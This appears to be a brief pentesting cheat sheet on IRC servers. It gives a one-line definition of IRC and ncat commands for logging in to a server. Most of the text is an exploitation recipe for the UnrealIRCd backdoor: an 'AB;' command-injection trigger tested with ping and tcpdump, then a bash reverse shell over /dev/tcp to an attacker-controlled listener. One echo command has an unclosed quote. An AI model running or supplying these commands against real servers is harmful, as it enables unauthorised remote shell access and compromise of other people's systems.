Internet Relay Chat is an application layer protocol that facilitates communication in the form of text. The chat process works on a client/server networking model.
-- Wikipedia
ncat <ip> <port>
PASS <anyPassword>
NICK <anyNickname>
USER <anyNickname> <anyServerName> AndComment :<anyComment>
A backdoor in UnrealIRCd LWN.net
Listen for icmp message
tcpdump -i tun0 icmp
Check if backdoor works
echo "AB; ping -c 1 <own-ip> | nc <target-ip> <port>
ncat -lnvp <port>
echo "AB; bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'" | ncat <target-ip> <port>